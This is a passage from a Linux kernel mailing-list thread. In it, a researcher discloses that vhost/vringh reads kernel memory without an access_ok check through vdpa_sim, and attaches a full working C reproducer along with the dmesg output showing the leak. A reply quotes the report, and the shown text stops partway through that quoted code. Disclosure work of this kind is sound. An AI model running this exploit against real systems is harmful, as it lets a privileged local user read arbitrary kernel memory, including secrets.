* [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
@ 2026-10-15 7:23 Haoran Wang
2026-10-15 7:42 ` Eugenio Perez Martin
` (2 more replies)
0 siblings, 3 replies; 13+ messages in thread
From: Haoran Wang @ 2026-10-15 7:23 UTC (permalink / raw)
To: mst, jasowangio
Cc: kvm, virtualization, netdev, eperezma, linux-kernel, security,
haoranwangsec
I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
against the 7.2.10 source tree. I have reproduced the leak on an
unmodified 7.2.10 kernel.
1. Summary
getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
without an access_ok() check. iov_base originates from iotlb_translate(),
which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
does not call access_ok(). In the vdpa_sim default passthrough mode the
entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
vdpasim_set_vq_address() stores the controller-supplied vring address
verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
worker reads 2 bytes from that kernel address via __get_user (no
access_ok). Each vring iteration reads 2 bytes and the value is
repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
would have rejected a kernel address via access_ok(), while__get_user() does
not.
2. Vulnerable code
- File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
- Function: getu16_iotlb
- Misused API: __get_user
```c
/* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
if (vrh->use_va) {
ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
}
/* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
/* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
/* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
vq->desc_addr = desc_area; /* controller-controlled = kernel address */
```
3. Root cause
get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
(it expands to __get_user_nocheck, which performs no check_range, whereas
get_user/put_user expand to the check_range-bearing variants that reject
kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
addresses supplied by the controller (driver_addr/desc_addr) flow through
iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
address space, so any address passes the lookup. vdpasim_set_vq_address()
stores the controller's u64 with no user/kernel validation, and
vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
because vq->private_data is never set. Consequently __get_user
dereferences an attacker-chosen kernel virtual address: the vdpa_sim
worker runs under kthread_use_mm() in the controller's mm with SMAP
disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
kernel memory are read. With num=1, __vringh_get_head() sees head (the
leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
to dmesg, making the leak externally observable.
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
5. Trigger / Preconditions
CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
6. Proof of Concept
Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
by vringh_bad().
Concrete reproduced evidence (7.2.10):
- dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
- leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
(linux_banner[5]=' '(0x20) << 8)
- The expected value is independently computable from /proc/version (which
prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
= 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
- Across 3 boots the banner *address* changed under KASLR
(0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
trigger resolves it at runtime via /proc/kallsyms), while the leaked
*content* was 8312 every time. KASLR only randomizes the address, the 2
bytes read there are constant.
So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
virtual address by setting a vring avail_user_addr to that address and
kicking the vdpa_sim worker. The value is disclosed to dmesg via
vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
7.2.10 kernel.
Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
(CAP_NET_ADMIN):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/vhost.h>
#include <linux/vdpa.h>
#include <sys/eventfd.h>
#ifndef VHOST_VDPA
#define VHOST_VDPA 0xAF
#endif
#ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
#define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
#endif
#ifndef VHOST_BACKEND_F_IOTLB_BATCH
#define VHOST_BACKEND_F_IOTLB_BATCH 0x2
#endif
#ifndef VHOST_BACKEND_F_IOTLB_ASID
#define VHOST_BACKEND_F_IOTLB_ASID 0x3
#endif
#ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
#define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
#endif
static inline int nla_ok_(const struct nlattr *nla, int remaining)
{
return remaining >= (int)sizeof(struct nlattr) &&
nla->nla_len >= (int)sizeof(struct nlattr) &&
nla->nla_len <= remaining;
}
static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
{
int tot = (int)NLA_ALIGN(nla->nla_len);
*remaining -= tot;
return (struct nlattr *)((char *)nla + tot);
}
static inline void *nla_data_(const struct nlattr *nla)
{
return (char *)nla + NLA_HDRLEN;
}
#ifndef VDPA_GENL_NAME
#define VDPA_GENL_NAME "vdpa"
#endif
#ifndef VDPA_GENL_VERSION
#define VDPA_GENL_VERSION 1
#endif
#ifndef VDPA_CMD_DEV_NEW
#define VDPA_CMD_DEV_NEW 3
#endif
#ifndef VDPA_CMD_DEV_DEL
#define VDPA_CMD_DEV_DEL 4
#endif
#ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
#define VDPA_ATTR_MGMTDEV_DEV_NAME 2
#endif
#ifndef VDPA_ATTR_DEV_NAME
#define VDPA_ATTR_DEV_NAME 4
#endif
#define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
#define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
static int nlsock;
static __u32 nlseq = 0;
static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
{
struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
int sl = (int)strlen(s) + 1;
int pl = NLA_HDRLEN + sl;
int pad = NLA_ALIGN(sl) - sl;
if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
nla->nla_len = (__u16)pl;
nla->nla_type = (__u16)type;
memcpy((char *)nla + NLA_HDRLEN, s, sl);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
(void)pad;
return 0;
}
static int genl_resolve_family(const char *name, __u16 *fam_id)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = CTRL_CMD_GETFAMILY;
gh->version = 1;
nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg getfamily"); return -1; }
char rbuf[4096];
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
ssize_t n = recvmsg(nlsock, &rmsg, 0);
if (n < 0) { xp("recvmsg getfamily"); return -1; }
struct nlmsghdr *r = (void *)rbuf;
if (!NLMSG_OK(r, (size_t)n)) return -1;
if (r->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *e = NLMSG_DATA(r); fprintf(stderr, "genl getfamily error %d\n", e->error); return -1; }
int hlen = GENL_HDRLEN;
struct nlattr *na = (void *)r + NLMSG_HDRLEN + hlen;
int rem = (int)(r->nlmsg_len - NLMSG_HDRLEN - hlen);
*fam_id = 0;
for (; nla_ok_(na, rem); na = nla_next_(na, &rem)) {
if (na->nla_type == CTRL_ATTR_FAMILY_ID) {
*fam_id = *(__u16 *)nla_data_(na);
return 0;
}
}
return -1;
}
static int genl_dev_new(__u16 fam, const char *mgmtdev, const char *devname)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = VDPA_CMD_DEV_NEW;
gh->version = VDPA_GENL_VERSION;
if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_MGMTDEV_DEV_NAME, mgmtdev) < 0) return -1;
if (nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname) < 0) return -1;
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
if (sendmsg(nlsock, &msg, 0) < 0) { xp("sendmsg dev_new"); return -1; }
char rbuf[4096];
struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
ssize_t n = recvmsg(nlsock, &rmsg, 0);
if (n < 0) { xp("recvmsg dev_new"); return -1; }
struct nlmsghdr *r = (void *)rbuf;
if (!NLMSG_OK(r, (size_t)n)) return -1;
if (r->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(r);
if (e->error == 0)
return 0;
fprintf(stderr, "dev_new error %d (%s)\n", e->error, strerror(-e->error));
return -1;
}
return 0;
}
static int genl_dev_del(__u16 fam, const char *devname)
{
char buf[1024];
struct nlmsghdr *nlh = (void *)buf;
struct genlmsghdr *gh;
memset(buf, 0, sizeof(buf));
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
nlh->nlmsg_type = fam;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = ++nlseq;
gh = NLMSG_DATA(nlh);
gh->cmd = VDPA_CMD_DEV_DEL;
gh->version = VDPA_GENL_VERSION;
nla_put_str(nlh, sizeof(buf), VDPA_ATTR_DEV_NAME, devname);
struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(nlsock, &msg, 0);
char rbuf[4096]; struct iovec riov = { .iov_base = rbuf, .iov_len = sizeof(rbuf) };
struct msghdr rmsg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &riov, .msg_iovlen = 1 };
recvmsg(nlsock, &rmsg, 0);
return 0;
}
static unsigned long ksym(const char *want)
{
FILE *f = fopen("/proc/kallsyms", "r");
if (!f) return 0;
char line[512];
unsigned long a = 0;
while (fgets(line, sizeof(line), f)) {
char type; char name[256];
if (sscanf(line, "%lx %c %255s", &a, &type, name) == 3) {
if (strcmp(name, want) == 0) { fclose(f); return a; }
}
}
fclose(f);
return 0;
}
static int expected_leak(unsigned *out)
{
FILE *f = fopen("/proc/version", "r");
if (!f) return -1;
char v[256];
if (!fgets(v, sizeof(v), f)) { fclose(f); return -1; }
fclose(f);
int len = (int)strlen(v);
if (len < 6) return -1;
unsigned m = ((unsigned)(unsigned char)v[4]) | (((unsigned)(unsigned char)v[5]) << 8);
*out = m;
fprintf(stderr, "[*] /proc version bytes[4,5] = 0x%02x 0x%02x => expected leak M = 0x%04x (%u)\n",
(unsigned char)v[4], (unsigned char)v[5], m, m);
fprintf(stderr, "[*] /proc/version = %.40s\n", v);
return 0;
}
int main(int argc, char **argv)
{
unsigned exp;
if (expected_leak(&exp)) die("cannot read /proc/version");
unsigned long banner = ksym("linux_banner");
fprintf(stderr, "[*] linux_banner @ 0x%lx\n", banner);
if (!banner) die("linux_banner not in /proc/kallsyms (need root)");
nlsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (nlsock < 0) die("netlink socket");
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
if (bind(nlsock, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("netlink bind");
__u16 fam;
if (genl_resolve_family(VDPA_GENL_NAME, &fam)) die("resolve genl family 'vdpa' (CONFIG_VDPA?)");
fprintf(stderr, "[*] genl family 'vdpa' id=%u\n", fam);
if (genl_dev_new(fam, "vdpasim_blk", "sim0")) die("dev_new vdpasim_blk (CONFIG_VDPA_SIM_BLOCK?)");
fprintf(stderr, "[*] created vdpa device sim0 (vdpasim_blk)\n");
char path[64]; int vfd = -1;
for (int i = 0; i < 50; i++) {
snprintf(path, sizeof(path), "/dev/vhost-vdpa-%d", i);
vfd = open(path, O_RDWR | O_CLOEXEC);
if (vfd >= 0) break;
}
if (vfd < 0) die("open /dev/vhost-vdpa-*");
fprintf(stderr, "[*] opened %s fd=%d\n", path, vfd);
int callfd = eventfd(0, EFD_CLOEXEC);
int kickfd = eventfd(0, EFD_CLOEXEC);
if (callfd < 0 || kickfd < 0) die("eventfd");
if (ioctl(vfd, VHOST_SET_OWNER)) die("VHOST_SET_OWNER");
__u64 bf = 0;
if (ioctl(vfd, VHOST_GET_BACKEND_FEATURES, &bf)) xp("get_backend_features");
__u64 setbf = bf | (1ULL << VHOST_BACKEND_F_IOTLB_MSG_V2)
| (1ULL << VHOST_BACKEND_F_IOTLB_BATCH)
| (1ULL << VHOST_BACKEND_F_IOTLB_ASID)
| (1ULL << VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK);
if (ioctl(vfd, VHOST_SET_BACKEND_FEATURES, &setbf)) xp("set_backend_features");
__u64 feat = 0;
if (ioctl(vfd, VHOST_GET_FEATURES, &feat)) die("get_features");
__u64 ack = 0;
ack |= (1ULL << VIRTIO_F_ACCESS_PLATFORM);
ack |= (1ULL << VIRTIO_F_VERSION_1);
ack |= (1ULL << VIRTIO_F_ANY_LAYOUT);
ack &= feat;
if (!(ack & (1ULL << VIRTIO_F_ACCESS_PLATFORM))) die("ACCESS_PLATFORM not supported - no use_va?");
if (ioctl(vfd, VHOST_SET_FEATURES, &ack)) die("set_features (need ACCESS_PLATFORM)");
struct vhost_vring_state vs = { .index = 0, .num = 1 };
if (ioctl(vfd, VHOST_SET_VRING_NUM, &vs)) die("set_vring_num");
size_t pg = 4096;
void *descbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
void *usedbuf = mmap(NULL, pg, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if (descbuf == MAP_FAILED || usedbuf == MAP_FAILED) die("mmap");
memset(descbuf, 0, pg); memset(usedbuf, 0, pg);
struct vhost_vring_addr va = {0};
va.index = 0;
va.flags = 0;
va.desc_user_addr = (uintptr_t)descbuf;
va.avail_user_addr = (uintptr_t)banner; /* <-- KERNEL address, the leak source */
va.used_user_addr = (uintptr_t)usedbuf;
va.log_guest_addr = 0;
if (ioctl(vfd, VHOST_SET_VRING_ADDR, &va)) die("set_vring_addr (avail=kernel addr rejected?)");
struct vhost_vring_state base = { .index = 0, .num = 0 };
if (ioctl(vfd, VHOST_SET_VRING_BASE, &base)) die("set_vring_base");
struct vhost_vring_file cf = { .index = 0, .fd = callfd };
if (ioctl(vfd, VHOST_SET_VRING_CALL, &cf)) die("set_vring_call");
struct vhost_vring_file kf = { .index = 0, .fd = kickfd };
if (ioctl(vfd, VHOST_SET_VRING_KICK, &kf)) die("set_vring_kick");
struct vhost_vring_state en = { .index = 0, .num = 1 };
if (ioctl(vfd, VHOST_VDPA_SET_VRING_ENABLE, &en)) die("set_vring_enable");
__u8 status = VIRTIO_CONFIG_S_ACKNOWLEDGE | VIRTIO_CONFIG_S_DRIVER
| VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER_OK;
if (ioctl(vfd, VHOST_VDPA_SET_STATUS, &status)) die("set_status DRIVER_OK");
uint64_t one = 1;
if (write(kickfd, &one, sizeof(one)) != sizeof(one)) die("kick write");
unsigned leaked = 0; int found = 0;
for (int try = 0; try < 20 && !found; try++) {
usleep(100000);
FILE *d = popen("dmesg 2>/dev/null", "r");
if (d) {
char l[512];
while (fgets(l, sizeof(l), d)) {
char *p = strstr(l, "Guest says index");
if (p) {
unsigned idx = 0, numv = 0;
if (sscanf(p, "Guest says index %u > %u is available",
&idx, &numv) >= 1) {
leaked = idx; found = 1;
fprintf(stderr, "[!!] dmesg: %s", l);
break;
}
}
}
pclose(d);
}
}
if (!found) {
fprintf(stderr, "[!] no vringh_bad leak line in dmesg; dumping tail:\n");
FILE *d = popen("dmesg 2>/dev/null | tail -40", "r");
if (d) { char l[512]; while (fgets(l, sizeof(l), d)) fputs(l, stderr); pclose(d); }
die("leak not observed (worker may not have run, or use_va/mm_bound not set)");
}
fprintf(stderr, "\n=== RESULT ===\n");
fprintf(stderr, "leaked kernel u16 @ linux_banner+4 = 0x%04x (%u)\n", leaked, leaked);
fprintf(stderr, "expected (/proc/version[4,5]) = 0x%04x (%u)\n", exp, exp);
if (leaked == exp) {
fprintf(stderr, "MATCH: __get_user read 2 bytes at kernel addr 0x%lx via vringh.c:1216\n", banner + 4);
fprintf(stderr, "PROVEN: arbitrary-kernel-address 2-byte read (no access_ok) on unmodified kernel\n");
} else {
fprintf(stderr, "MISMATCH - investigate\n");
}
status = 0; ioctl(vfd, VHOST_VDPA_SET_STATUS, &status);
close(vfd); close(callfd); close(kickfd);
genl_dev_del(fam, "sim0");
return (leaked == exp) ? 0 : 2;
}
```
Captured dmesg from the 7.2.10 run (the disclosed leaked value):
```
[ 1.882938] vringh:
[ 1.882944] Guest says index 8312 > 1 is available
```
7. Impact
Privileged kernel memory information leak: a CAP_NET_ADMIN controller can
read 2 bytes at an arbitrary kernel virtual address per vring kick via
__get_user() with no access_ok(), and the value is disclosed to dmesg via
vringh_bad(). The read is repeatable, so the whole kernel address space
can be scanned 2 bytes at a time (kernel .text/.data, structure contents,
in-memory keys). CAP_NET_ADMIN should not grant arbitrary kernel-memory
reads. No memory corruption. KASLR does not prevent it (only the address
is randomized, the leaked content is constant). Only the use_va mode is
affected (the non-use_va path goes through GUP, which has an equivalent
check_range guard).
Please let me know if you need more detail.
Best regards,
Haoran Wang <haoranwangsec@gmail.com>
^ permalink raw reply [flat|nested] 13+ messages in thread
* Re: [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough
2026-10-15 7:23 [BUG] vhost/vringh: __get_user without access_ok leaks kernel memory via vDPA passthrough Haoran Wang
@ 2026-10-15 7:42 ` Eugenio Perez Martin
2026-10-17 21:59 ` David Laight
2026-10-18 19:24 ` Michael S. Tsirkin
2 siblings, 0 replies; 13+ messages in thread
From: Eugenio Perez Martin @ 2026-10-15 7:42 UTC (permalink / raw)
To: Haoran Wang
Cc: mst, jasowangio, kvm, virtualization, netdev, linux-kernel, security
On Thu, Oct 15, 2026 at 9:24 AM Haoran Wang <haoranwangsec@gmail.com> wrote:
>
> I'd like to report an issue in drivers/vhost/vringh.c:1216 (function
> getu16_iotlb), found via static analysis of Linux 7.0.11 and verified
> against the 7.2.10 source tree. I have reproduced the leak on an
> unmodified 7.2.10 kernel.
>
> 1. Summary
> getu16_iotlb() calls __get_user(tmp, (__virtio16 __user *)iov_base)
> without an access_ok() check. iov_base originates from iotlb_translate(),
> which only performs an IOTLB interval lookup (vhost_iotlb_itree_first) and
> does not call access_ok(). In the vdpa_sim default passthrough mode the
> entire address space is identity-mapped ([0, ULONG_MAX] -> 0), and
> vdpasim_set_vq_address() stores the controller-supplied vring address
> verbatim with no validation. A controller with CAP_NET_ADMIN can therefore
> set a vring avail_user_addr to a kernel address. On a vq kick the vdpa_sim
> worker reads 2 bytes from that kernel address via __get_user (no
> access_ok). Each vring iteration reads 2 bytes and the value is
> repeatable, yielding an arbitrary-kernel-address 2-byte read. get_user()
> would have rejected a kernel address via access_ok(), while__get_user() does
> not.
>
> 2. Vulnerable code
> - File: drivers/vhost/vringh.c:1216 (unchanged in 7.2.10)
> - Function: getu16_iotlb
> - Misused API: __get_user
>
> ```c
> /* drivers/vhost/vringh.c:1216 - getu16_iotlb (IOTLB read helper, per vring iteration) */
> if (vrh->use_va) {
> ret = __get_user(tmp, (__virtio16 __user *)ivec.iov.iovec[0].iov_base); /* no access_ok */
> }
>
> /* iov_base comes from iotlb_translate() (IOTLB lookup only, no access_ok) */
> /* drivers/vdpa/vdpa_sim/vdpa_sim.c:157-159 - passthrough identity-maps everything */
> vhost_iotlb_add_range(&iommu, 0, ULONG_MAX, 0, VHOST_MAP_RW);
> /* vdpa_sim.c:297 - set_vq_address stores the controller u64 verbatim, no validation */
> vq->desc_addr = desc_area; /* controller-controlled = kernel address */
> ```
>
> 3. Root cause
> get_user() = access_ok() + __get_user(). __get_user() skips access_ok()
> (it expands to __get_user_nocheck, which performs no check_range, whereas
> get_user/put_user expand to the check_range-bearing variants that reject
> kernel addresses). In the vhost-vdpa + vdpa_sim use_va path, the vring
> addresses supplied by the controller (driver_addr/desc_addr) flow through
> iotlb_translate(), which only does a vhost_iotlb_itree_first() interval
> lookup. vdpa_sim's default passthrough IOTLB identity-maps the whole
> address space, so any address passes the lookup. vdpasim_set_vq_address()
> stores the controller's u64 with no user/kernel validation, and
> vhost_vring_set_addr()'s access_ok is skipped in the vhost-vdpa path
> because vq->private_data is never set. Consequently __get_user
> dereferences an attacker-chosen kernel virtual address: the vdpa_sim
> worker runs under kthread_use_mm() in the controller's mm with SMAP
> disabled (STAC), and kernel addresses are mapped there, so 2 bytes of
> kernel memory are read. With num=1, __vringh_get_head() sees head (the
> leaked u16) >= 1 and calls vringh_bad(), which printk's the leaked value
> to dmesg, making the leak externally observable.
>
> 4. Affected versions
> Present in: Linux 7.0.11. 7.2.10: still present, reproduced on 7.2.10 kernel.
>
> 5. Trigger / Preconditions
> CAP_NET_ADMIN + vdpa_sim (CONFIG_VDPA_SIM / VDPA_SIM_BLOCK) + use_va mode.
> The controller creates a vdpasim device, binds its mm (VHOST_SET_OWNER,
> enabling use_va), negotiates VIRTIO_F_ACCESS_PLATFORM, sets the vring
> avail_user_addr to a kernel address, enables the vq, sets DRIVER_OK, and
> kicks the vq. The worker then reads 2 bytes at the chosen kernel address.
>
> 6. Proof of Concept
> Reproduced on Linux 7.2.10 tarball (config-only: CONFIG_KASAN=y, VHOST_VDPA=y,
> VDPA_SIM=y, VDPA_SIM_BLOCK=y). The trigger sets avail_user_addr = &linux_banner
> and reads avail->ring[0] (at banner+4). With num=1, the leaked u16 is printk'd
> by vringh_bad().
>
> Concrete reproduced evidence (7.2.10):
> - dmesg: "vringh:" then "Guest says index 8312 > 1 is available"
> - leaked value = 8312 = 0x2078 = linux_banner[4]='x'(0x78) |
> (linux_banner[5]=' '(0x20) << 8)
> - The expected value is independently computable from /proc/version (which
> prints the same linux_banner): proc_version[4] | (proc_version[5] << 8)
> = 0x78 | 0x2000 = 0x2078 = 8312. The reproduced value MATCHES.
> - Across 3 boots the banner *address* changed under KASLR
> (0xffffffff8b517280 / 0xffffffffa3f17280 / 0xffffffff90717280; the
> trigger resolves it at runtime via /proc/kallsyms), while the leaked
> *content* was 8312 every time. KASLR only randomizes the address, the 2
> bytes read there are constant.
>
> So a CAP_NET_ADMIN controller can read 2 bytes at an arbitrary kernel
> virtual address by setting a vring avail_user_addr to that address and
> kicking the vdpa_sim worker. The value is disclosed to dmesg via
> vringh_bad(). This is an arbitrary-kernel-address 2-byte read on an
> 7.2.10 kernel.
>
> Reproducer (vringh_leak.c) -- runs in the QEMU guest as root
> (CAP_NET_ADMIN):
>
> ```c
> #define _GNU_SOURCE
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <fcntl.h>
> #include <errno.h>
> #include <stdint.h>
> #include <sys/ioctl.h>
> #include <sys/socket.h>
> #include <sys/mman.h>
> #include <linux/netlink.h>
> #include <linux/genetlink.h>
> #include <linux/vhost.h>
> #include <linux/vdpa.h>
> #include <sys/eventfd.h>
>
> #ifndef VHOST_VDPA
> #define VHOST_VDPA 0xAF
> #endif
>
> #ifndef VHOST_BACKEND_F_IOTLB_MSG_V2
> #define VHOST_BACKEND_F_IOTLB_MSG_V2 0x1
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_BATCH
> #define VHOST_BACKEND_F_IOTLB_BATCH 0x2
> #endif
> #ifndef VHOST_BACKEND_F_IOTLB_ASID
> #define VHOST_BACKEND_F_IOTLB_ASID 0x3
> #endif
> #ifndef VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK
> #define VHOST_BACKEND_F_ENABLE_AFTER_DRIVER_OK 0x6
> #endif
>
> static inline int nla_ok_(const struct nlattr *nla, int remaining)
> {
> return remaining >= (int)sizeof(struct nlattr) &&
> nla->nla_len >= (int)sizeof(struct nlattr) &&
> nla->nla_len <= remaining;
> }
> static inline struct nlattr *nla_next_(const struct nlattr *nla, int *remaining)
> {
> int tot = (int)NLA_ALIGN(nla->nla_len);
> *remaining -= tot;
> return (struct nlattr *)((char *)nla + tot);
> }
> static inline void *nla_data_(const struct nlattr *nla)
> {
> return (char *)nla + NLA_HDRLEN;
> }
>
> #ifndef VDPA_GENL_NAME
> #define VDPA_GENL_NAME "vdpa"
> #endif
> #ifndef VDPA_GENL_VERSION
> #define VDPA_GENL_VERSION 1
> #endif
> #ifndef VDPA_CMD_DEV_NEW
> #define VDPA_CMD_DEV_NEW 3
> #endif
> #ifndef VDPA_CMD_DEV_DEL
> #define VDPA_CMD_DEV_DEL 4
> #endif
> #ifndef VDPA_ATTR_MGMTDEV_DEV_NAME
> #define VDPA_ATTR_MGMTDEV_DEV_NAME 2
> #endif
> #ifndef VDPA_ATTR_DEV_NAME
> #define VDPA_ATTR_DEV_NAME 4
> #endif
>
> #define die(fmt, ...) do { fprintf(stderr, "FATAL: " fmt "\n", ##__VA_ARGS__); exit(1); } while (0)
> #define xp(fmt, ...) do { int _e = errno; fprintf(stderr, "ERR " fmt " (%s)\n", ##__VA_ARGS__, strerror(_e)); } while (0)
>
> static int nlsock;
> static __u32 nlseq = 0;
>
> static int nla_put_str(struct nlmsghdr *nlh, int len, int type, const char *s)
> {
> struct nlattr { __u16 nla_len; __u16 nla_type; } *nla;
> int sl = (int)strlen(s) + 1;
> int pl = NLA_HDRLEN + sl;
> int pad = NLA_ALIGN(sl) - sl;
> if (NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl) > (size_t)len) return -1;
> nla = (void *)nlh + NLMSG_ALIGN(nlh->nlmsg_len);
> nla->nla_len = (__u16)pl;
> nla->nla_type = (__u16)type;
> memcpy((char *)nla + NLA_HDRLEN, s, sl);
> nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + NLA_ALIGN(pl);
> (void)pad;
> return 0;
> }
>
> static int genl_resolve_family(const char *name, __u16 *fam_id)
> {
> char buf[1024];
> struct nlmsghdr *nlh = (void *)buf;
> struct genlmsghdr *gh;
> memset(buf, 0, sizeof(buf));
> nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*gh));
> nlh->nlmsg_type = GENL_ID_CTRL;
> nlh->nlmsg_flags = NLM_F_REQUEST;
> nlh->nlmsg_seq = ++nlseq;
> gh = NLMSG_DATA(nlh);
> gh->cmd = CTRL_CMD_GETFAMILY;
> gh->version = 1;
> nla_put_str(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name);
> struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
> struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
> struct msghdr msg = { .msg_name = &dst, .msg_namelen = sizeof(dst), .msg_iov = &iov, .msg_iovlen = 1 };
